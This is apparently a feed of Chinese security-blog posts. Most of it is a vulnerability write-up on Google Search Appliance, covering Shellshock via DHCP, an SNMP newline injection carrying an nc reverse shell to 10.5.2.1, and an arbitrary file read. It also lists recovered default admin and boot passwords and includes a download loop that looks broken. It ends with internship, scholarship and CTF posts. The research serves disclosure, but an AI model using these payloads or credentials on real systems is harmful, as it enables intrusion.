從 ebay 以關鍵字 Google Search Appliance 搜尋並嘗試購買此設備, 如果不幸硬碟資料已被清除,也只能嘗試多買幾台了。

幸運的是,購入的第一台就是未遭完整清除的 GSA:

現在仍然可以找到正在被販售的設備:

另一方面 vGSA 原始公開連結已被移除, http://dl.google.com/vgsa/vgsa\_20090210.7z [已被移除] http://dl.google.com/vgsa/vgsa\_20081028.7z [已被移除]

後來用 BitTorrent 磁力連結 magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992成功取得檔案。

接著再從 google groups 中找到舊版軟體連接:https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

連結為:http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [已被移除]

由公開網頁中,可取得版本號碼: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

猜測檔案名稱規則為 install_bundle-10000(三位數字)-7.(一位數字).(數字)-(三位數字).bin

並編寫 shell script 嘗試下載:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

加上網路搜尋到的資料,成功取回以下檔案:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

接著開始 VGSA 的研究,預設情況下完成匯入虛擬機後此系統只提供了一個網路設定的功能, 沒有提供 shell 可供操作使用。但是由於虛擬機器是執行在自己環境上, 所以通常可以透過下列方式取得系統權限:

  • 直接修改未加密的磁碟機檔案
  • 修改虛擬機記憶體內容
  • 使用其他作業系統光碟或磁碟開機
  • 其他已知漏洞
  • 寫死的管理員或系統帳號、密碼

下圖為 vGSA 網路設定畫面:

CVE-2014-6271

當測試早期的 Linux 設備及服務,尤其是使用 RedHat 系列的作業系統時,通常會有 Shellshock 的漏洞, 而發布日期再2008的 vGSA 也不例外。dhcp server 中插入 option 114 會被設置於環境變數,從而觸發漏洞,執行任意指令:

指令為:useradd zzzzgsa,可以從主控台輸出中看到此指令被重複執行,並產生錯誤訊息。

vGSA 觀察

成功取得作業系統權限後,進行網路環境、執行程式、檔案系統的觀察,以下是作業系統環境觀察心得:

  • 版本號為 5.2.0.G.27。
  • 服務主要由 C/C++、java、python 編寫
  • /export/hda3 似乎是服務主要使用的目錄
  • /etc/shadow 存在帳號 root、密碼雜湊為 x███████████M
  • 管理介面 8000、8443 預設管理密碼為 j0njlRXpU5CQ
  • /.gnupg 存在 ent_box_key 公私鑰。
  • /.gnupg 存在 google_license_key 公鑰。
  • /.ssh/authorized_keys 存在兩組公鑰。
  • /root/.ssh/authorized_keys 存在一組公鑰。
  • /root/.ssh/ 存在兩組ssh 公私鑰。
  • /root/.gnupg/ 存在 ent_box_key 公私鑰。
  • 使用 Oracle 公司的 Outside In Technology 將文件轉換為 html網頁。
  • java 執行環境使用 Security Manager 保護。
  • 請求工程師支援功能使用 ppp 建構虛擬私有網路, /etc/ppp/chap-secrets 存有帳號密碼 ( z██████c、]███████T )
  • /etc/lilo.conf中的開機選單密碼為 cmBalx7
  • /export/hda3/versionmanager/google_key.symmetric 有一把疑似為對稱式加密使用的密碼
  • /export/hda3/versionmanager/vmanager_passwd 存在兩組帳密組合 ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= )

而具有網路服務的執行程式的觀察如下:

通訊埠服務名稱程式編寫語言服務說明
22sshC/C++OpenSSH Server
53namedC/C++Bind Named
953namedC/C++Bind Named
1111webserver_configpythonInstaller
2100adminrunner.pypythonenterpriseconsole backend
3990monitorC/C++monitor
4000rtserverC/C++未知
4430EnterpriseFrontendJava (with security manager)https 前端
4911borgmonC/C++borgmon
4916reactorC/C++未知
5000rtserverC/C++未知
5600rtserverC/C++未知
6600cacheserverC/C++未知
7800EnterpriseFrontendJava (with security manager)未知
7880TableServerJava (with security manager)未知
7882AuthzCheckerJava (without security manager)未知
7886tomcatJavatomcat server
8000EnterpriseAdminConsoleJava (without security manager)未知
8443stunnelC/C++redirect http to https
8888GWSC/C++未知
9300oneboxserverC/C++未知
9328entspellmixerC/C++未知
9400mixserverC/C++未知
9402mixserverC/C++未知
9448qrewriteC/C++未知
9450EnterpriseAdminConsoleJava (without security manager )未知
10094enterprise_oneboxC/C++未知
10200clustering_serverC/C++未知
11913sessionmanagerC/C++未知
12345RegistryServerJava (without security manager)未知
19780configmgr/ent_configmgr.pypython未知
19900feedergateC/C++未知
21200FileSystemGatewayJava (with security manager)未知
31300rtserverC/C++未知

雖然有這麼多服務,但是 iptables 阻擋了大部分的連線,以下是 iptables 設定:

# Redirect privileged ports.# (we listen as nobody, which can't attach to low ports, so redirect to high ports)#-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

整理出來實際可存取的TCP 攻擊面:

通訊埠服務名稱程式執行檔所在位置
22ssh/usr/sbin/sshd
7800EnterpriseFrontend/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
4430EnterpriseFrontend/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900feedergate/export/hda3/5.2.0/local/google/bin/feedergate
8000EnterpriseAdminConsole/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443stunnel/usr/sbin/stunnel

而我們發現 /export/hda3/versionmanager/google_key.symmetric中的字串可以用來解密所有 install_bundle 的內容! 使用 CVE-2014-6271 取得權限加上可以解出 install bundle 中的內容後,對 vGSA 的研究就暫時告一段落, 其執行環境中記憶體的保護較為缺少,可能有機會存在弱點並利用:

GSA

安裝設備後嘗試更改開機順序,但發現進入BIOS需要密碼,且磁碟介面卡的管理介面中 Dell H700 僅有部分功能可以操作:

接著嘗試直接讀取硬碟內容,如果硬碟內容沒有加密,有機會能直接取得設備作業系統及軟體。 我們發現其硬碟使用SAS 介面進行傳輸,嘗試前還需購買SAS 卡,本次測試使用LSI 9211-8i 進行連結:

連接嘗試讀取後發現到這是一個自我加密 SED 磁碟,需要密碼unlock 才能存取,OSSLab 這邊有更詳細的解釋:

https://www.osslab.com.tw/ata-sed-security/ (中文)

在無法直接存取硬碟的情況下有幾種方式可以繼續嘗試:

  • 嘗試讀出於BIOS EEPROM 中的密碼,並更改開機順序

此方式需要破壞主機板,有一定風險,於軟體層找不到漏洞才會使用此種方式。 可參考這篇研究 https://blog.cybercx.co.nz/bypassing-bios-password (英文)

  • 使用 PCILeech 讀取、寫入記憶體並取得系統權限

此方式需要特定PCI-e 設備,當時還沒有準備此類設備。可以參考這個 github 專案:

https://github.com/ufrisk/pcileech

  • 尋找可存取服務之軟體漏洞

此方式較為簡單可行。

管理介面換行字元插入

登入管理介面後,觀察到其中有 SNMP 取得系統資訊的功能, 且此功能可以插入自定義字串:

這邊嘗試經典的換行注入:

將 sysContact 插入

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

插入 extend 設定值之後,就可以用 snmpwalk 觸發 SNMP 的extend 功能, 並執行 shell。

成功執行指令並反連。

任意讀檔

於 GSA 6.x 系列版本後的 RPM 安裝包中發現其 80/443 的網頁服務使用 Apache httpd, 其中位於 /etc/httpd/conf.d/ 中有許多的設定。 而其中 gsa-http.conf 及 gsa-https.conf 可以發現某些目錄會被導向至本機特定的服務:

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

其中通訊埠為 7886 跟 7890 的服務為另外執行的 Apache Tomcat 伺服器,當串接兩層以上的網站伺服器時, Tomcat 的路徑判斷 ..;/ 是一個有趣的測試點,可以參閱一位老前輩的文章:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

而我們有興趣的點為 dps ,這似乎沒有在舊版的 GSA 中看到。 從 dps.war 中解出 /WEB-INF/web.xml 觀察網頁應用配置,並發現 /font 會呼叫 com.documill.dps.connector.servlet.user.DPSDownloadServlet

<servlet><servlet-name>font</servlet-name><servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class><init-param><param-name>rootDirectory</param-name><param-value>work/fonts/</param-value></init-param></servlet><servlet-mapping><servlet-name>font</servlet-name><url-pattern>/font/*</url-pattern></servlet-mapping>

接著查看 DPSDownloadServlet:

importcom.davisor.net.servlet.DownloadServlet;importcom.documill.dps.*;importjava.io.*;importjavax.servlet.ServletContext;publicclassDPSDownloadServletextendsDownloadServletimplementsDPSUserService{publicDPSDownloadServlet(){}protectedStringgetRealPath(ServletContextservletcontext,Strings)throwsIOException{DPSdps=DPSSingleton.getDPS();Filefile=dps.getHomeDir();if(file==null)thrownewFileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");elsereturn(newFile(file,s)).getAbsolutePath();}privatestaticfinallongserialVersionUID=0L;}

發現此類別是繼承自 com.davisor.net.servlet.DownloadServlet,跟進此類別:

protectedvoidservice(HttpServletRequesthttpservletrequest,HttpServletResponsehttpservletresponse)throwsServletException,IOException{Strings=httpservletrequest.getParameter(uriParameterName);if(!isValid(s)){httpservletresponse.sendError(400,(newStringBuilder()).append("Invalid file path: ").append(s).toString());return;}Filefile=rootDirectory.deriveFile(s);if(!file.isFile())httpservletresponse.sendError(404,(newStringBuilder()).append("No file:").append(s).toString());elseif(!file.canRead()){httpservletresponse.sendError(403,(newStringBuilder()).append("Unreadable file:").append(s).toString());}else{longl=file.length();if(l>0x7fffffffL){httpservletresponse.sendError(413,(newStringBuilder()).append("File too big:").append(l).toString());}else{Strings1=MIME.getTypeFromPath(file.getName(),"application/octet-stream");httpservletresponse.setContentLength((int)l);httpservletresponse.setContentType(s1);httpservletresponse.setDateHeader("Last-Modified",file.lastModified());if(cacheExpires>0L){httpservletresponse.setDateHeader("Expires",System.currentTimeMillis()+cacheExpires);httpservletresponse.setHeader("Cache-Control","public");}IO.copy(file,httpservletresponse.getOutputStream());}}}privatestaticbooleanisValid(Strings){return!Strings.isEmpty(s)&&!s.contains("..");}

可以發現此處只有檢查字串是否含有 ..,但我們可以直接指定絕對路徑。 並直接讀取本機任意檔案!

舊版GSA 沒有 /font 這個端點,但 /dps/admin 有類似的讀檔問題,可以直接指定 logName 進行檔案讀取, 可參考下圖直接讀取系統管理介面帳號密碼檔:

成功破解雜湊後,登入後可以開啟 SNMP 服務配合第一個漏洞並以 root 權限執行任意指令。

其他發現跟整理

服務本身內部網址

GSA 中有許多的子服務間使用 HTTP 傳輸協定溝通,而在許多服務都有提供 /varz、/helpz、/procz 等網址, 可以在服務定義的信任網路位置或 127.0.0.1 中存取:

而在 vGSA 中觀察到服務執行參數有 useripheader=X-User-Ip,導致對外開放的管理介面可以帶入 X-User-IP 請求頭後直接存取此功能:

/procz 端點甚至可以抓取執行檔及使用到的共享函示庫:

型號整理

型號製造商及型號硬體規格版號文件數量
Google MiniGigabytePentium III 1G / 2GB memory / 120G3.4.14300,000
Google Mini-002XSuperMicroPentium 4 3G / 2GB memory / 250G HDD5.0.0未知
Google GB-1001Dell Poweredge 2950Xeon / 16GB memory / 1.25TB HDD未知3,000,000
Google GB-1002Gigabyte未知未知未知
Google GB-7007Dell R710Xeon E5520 / 48GB memory / 3TB HDD未知10,000,000
Google GB-9009未知Xeon X5560 / 96GB memory / 3.6TB HDD未知30,000,000
Google G100Dell R720XD未知未知未知
Google G500未知未知未知未知

核心版本

GSA 版本核心版本
7.6.0Linux version 3.14.44_gsa-x64_1.5 (mrevutskyi@mrevutskyi.mtv.corp.google.com) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0未知
7.2.0Linux version 3.4.3_gsa-x64_1.5 (martincochran@ypc-ubiq202.dls.corp.google.com) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14Linux version 3.4.3_gsa-x64_1.3 (stephenamar@neutrino.mtv.corp.google.com) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0Linux version 2.6.20_vmw-smp_3.1 (yifeng@yifeng.corp.google.com) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008

時間軸

時間事件
2005/06/10Java Code Injection CVE-2005-3757被 H D Moore 回報
2008 上半年釋出 GSA 5.0
2008/10/28釋出 vgsa_20081028.7z (5.2.0)
2013/04/20釋出 GSA 6.14.0.G28
2014/03/20XSS 漏洞 CVE-2014-0362被 Will Dormann 回報
2014/10/01釋出 GSA 7.0.14.G238
2014/10/03釋出 GSA 7.2.0.G252
2014/12/12釋出 GSA 7.2.0.G264
2015/02/07釋出 GSA 7.2.0.G270
2015/04/15釋出 GSA 7.4.0.G64
2015/04/22釋出 GSA 7.4.0.G72
2015/04/30釋出 GSA 7.4.0.G74
2015/06/04釋出 GSA 7.4.0.G82
2016 上半年Google 宣布 GSA 將會逐步退出市場
2016/01/05XML 外部實體攻擊 被 Timo 回報
2016/05/24釋出 GSA 7.6.0.G36
2016/07/01釋出 GSA 7.6.0.G42
2016/07/31本文作者取得此設備,版本為 7.0.14
2016/08/25釋出 GSA 7.6.0.G46
2016/10/21釋出 GSA 7.6.0.G58
2017/01/19釋出 GSA 7.6.50.G30
2017/04/19釋出 GSA 7.6.50.G36
2017/07/28釋出 GSA 7.6.50.G64
2017/11/09釋出 GSA 7.6.250.G12
2017/12/28最後能訂購 GSA 的日期
2018/01/17釋出 GSA 7.6.250.G20
2018/03/21釋出 GSA 7.6.250.G26
2018/06/15釋出 GSA 7.6.360.G10
2018/10/08釋出 GSA 7.6.360.G16
2019/04/26釋出 GSA 7.6.512.G18,應該為最後一個版本
2021/08/16回報漏洞
2021/08/16收到機器人回應確認收到回報信件
2021/08/16問題於 issuetracker.google.com 被指派
2021/08/18Google 提示漏洞不符合獎金條件,但會於下次會議再次討論
2021/08/20確認漏洞不發放獎金
2021/11/01詢問漏洞是否會指派 CVE 漏洞編號
2021/11/02確認不會有 CVE 漏洞編號
2023 上半年開始編寫文章
2023/06/04初稿完成

結論

雖然 GSA/vGSA 已經是結束生命周期的產品,但研究 Google 如何對設備去增加產品的安全性及減少攻擊向量 可以增加平常較少接觸的知識面。雖然文中沒有詳細說明,包含如使用 Java 的 Security Manager, Linux Kernel 的 seccomp 都是 GSA 中有使用的技術,而本次研究中也留下一些可供後續研究的目標:

  • feedergate 服務
  • Oracle 的 Outside-in Technology 轉換文件格式的記憶體漏洞
  • convert_to_html seccomp sandbox

有研究成果時再跟大家分享,下次見。

其他參考網址

DEVCORE 2023 第四屆實習生計畫

$
0
0

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第三屆實習生計畫也將於今年 7 月底告一段落。我們很榮幸地宣佈,第四屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 導師會與學生討論並確定一個以學生的期望為主的實習目標,並在過程輔導成長以完成目標,內容可以是深入研究近年常見新型態漏洞、攻擊手法、開源軟體,或是程式語言生態系的常見弱點,亦或是展現你的技術力以開發與紅隊相關的工具。
    • 漏洞、攻擊手法或開發工具研究 90%
    • 成果報告與準備 10%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2023 年 9 月開始到 2024 年 1 月底,共 5 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
      • 如果居住雙北外可彈性調整(但須每個組別統一)
    • 其餘時間皆為遠端作業

招募對象

具有一定程度資安背景的學生,且可每週工作兩天。

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷內容
  • 簡答題答案
    • 題目 1:請提出三個,你印象最深刻或感到有趣、於西元 2021 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。
    • 題目 2:實習期間想要研究的主題,請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如:
      • 研究◯◯開源軟體,找到可 RCE 的重大風險弱點。
      • 研究 AD CS 的攻擊手法,嘗試挖掘新的攻擊可能性或向量。
      • 研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。

本階段收件截止時間為 2023/08/11 23:59,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個工作天內回覆。

第二階段:面試

此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

  • 2023/07/19 - 2023/08/11 公開招募
  • 2023/08/14 - 2023/08/24 面試
  • 2023/08/28 前回應結果
  • 2023/09/04 第四屆實習計畫於當週開始

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 recruiting_intern@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2023/08/11 23:59前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • MBTI 職業性格測試結果(測試網頁

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

視人才培育為己任 DEVCORE 全國資訊安全獎學金、資安教育活動贊助計畫即日起開放報名

$
0
0

DEVCORE 今(30)日甫於輔仁大學舉辦「戴夫寇爾資訊安全獎學金」2023 年度頒獎典禮,共有 3 位資工系同學獲獎。同一時間,我們很高興地宣佈,今年度我們也將續辦「全國資訊安全獎學金」及「資安教育活動贊助計畫」,即日起開放報名!

近年來,無論是政府或企業,在數位浪潮及雲世代的推波助瀾下,無不開始正視資安人才荒的困境。自 2012 年創立之初,DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷,將人才培育視為己任,透過參與教育部資安人才培育計畫、創辦 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式,協助資安人才茁壯成長。

DEVCORE 全國資訊安全獎學金

戴夫寇爾資安獎學金於 2020 年首次頒發,原為感念過去在學生時代時受到的各方資源及鼓勵,獎學金頒發範圍為經營團隊母校的輔仁大學及國立臺灣科技大學,後為培育更多有志於此的青年學子,我們於去年擴大獎學金範圍,開放全國各地的資安新銳報名申請,期待能推廣「駭客思維」、強化資安技能,並幫助在學學生了解資安產業生態及現況、降低學用落差,未來成為新一代的攻擊型資安人才,為資安產業注入新活力。

「戴夫寇爾全國資訊安全獎學金」歡迎所有在資訊安全領域有出眾研究成果的學生報名申請,有意申請者須提出學習資安的動機與歷程,並繳交資安研究或比賽成果,我們將從中擇優選取 10 名,獲選者可獲最高 2 萬元的研究補助。詳細申請辦法如下:

  • 申請資格:全國各大專院校學生皆可以申請。
  • 獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。
  • 申請時程:
    • 2023/8/30 官網公告獎學金計畫資訊
    • 2023/8/31 - 2023/9/30 開放收件
    • 2023/10/31 公布審查結果,並將於 11 至 12 月間頒發獎學金
  • 申請辦法:
    • 請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ scholarship@devco.re。
    • 信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。
    • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。
  • 須檢附文件:
    • 本獎學⾦申請表
    • 在學證明
    • 最近⼀學期成績單
    • 學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字
    • 資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等
    • 社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等
    • 推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函

DEVCORE 資安教育活動贊助計劃

取之於社會,用之於社會。DEVCORE 創立至今已準備邁入第 11 年,我們期待能以不同的方式加深校園與產業的連結,推廣正確的資安意識及駭客思維,協助台灣資安人才成長茁壯。

今年我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,凝聚台灣資安社群,加速培育台灣的資安新銳。

  • 申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。
  • 贊助金額:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。
  • 申請時程:如欲申請此計畫的社團或活動,請於 2023/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。
  • 申請連結:DEVCORE 2023 年資安教育活動贊助調查
  • 須提供資料:
    • 申請資格:申請人需以各資安社群或社團名義提出申請。
    • 聯絡電子郵件
    • 想要辦理的活動類型
    • 想要辦理的活動方式
    • 活動總預算
    • 預計需要贊助金額
    • 代表人姓名、連絡電話
    • 團體名稱
    • 團體單位網址
  • 注意事項:
    • 申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。
    • 本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。

HITCON 2023 x DEVCORE Wargame: My todolist Write-up

$
0
0

為了 HITCON 2023 活動,我今年也在 DEVCORE 攤位上準備了三題趣味性質的 Wargame 題目讓參賽者在聽完議程的空閒之餘可以享受一下親自動手解題的快樂,而除了我所準備的題目以外,包括其他所有題目都可以在以下的 GitHub repository 裡找到:https://github.com/DEVCORE-Wargame/HITCON-2023

這次準備的題目分別是 What’s my IP、Submit flag 和 My todolist。第一個題目 What’s my IP 只要看程式碼就會知道是個 HTTP header 偽造 IP 加上 SQL Injectin 利用的簡單題,只是活動期間參賽者們得憑著經驗與駭客直覺以黑箱方式找出弱點的存在。第二個題目 Submit flag 就是一個經典的 Race Condition,是一個老梗但也是滲透測試中經常被忽略的細節,為了提高成功率從而避免讓參加者浪費太多時間,我特地在中間插入不必要的 sleep,雖然可能讓題目變得過於簡單,希望至少能提醒大家回想起還存在這種弱點就太好了。

最後一個題目也是本篇文章想要和大家分享的主題:My todolist。從結論而言,這是一個簡單的 Json.NET 反序列化漏洞的白箱題目,存在漏洞的位置是在程式碼 Extensions/WebExtension.cs的第 20 行,但我想稍微和大家分享題目的由來。

題目起源於我曾經在某些程式中看過類似以下的 Deep Copy 實作:

publicstaticTClone<T>(thisTsource){JsonSerializerSettingssettings=newJsonSerializerSettings(){TypeNameHandling=TypeNameHandling.All};return(T)JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source,settings),settings);}

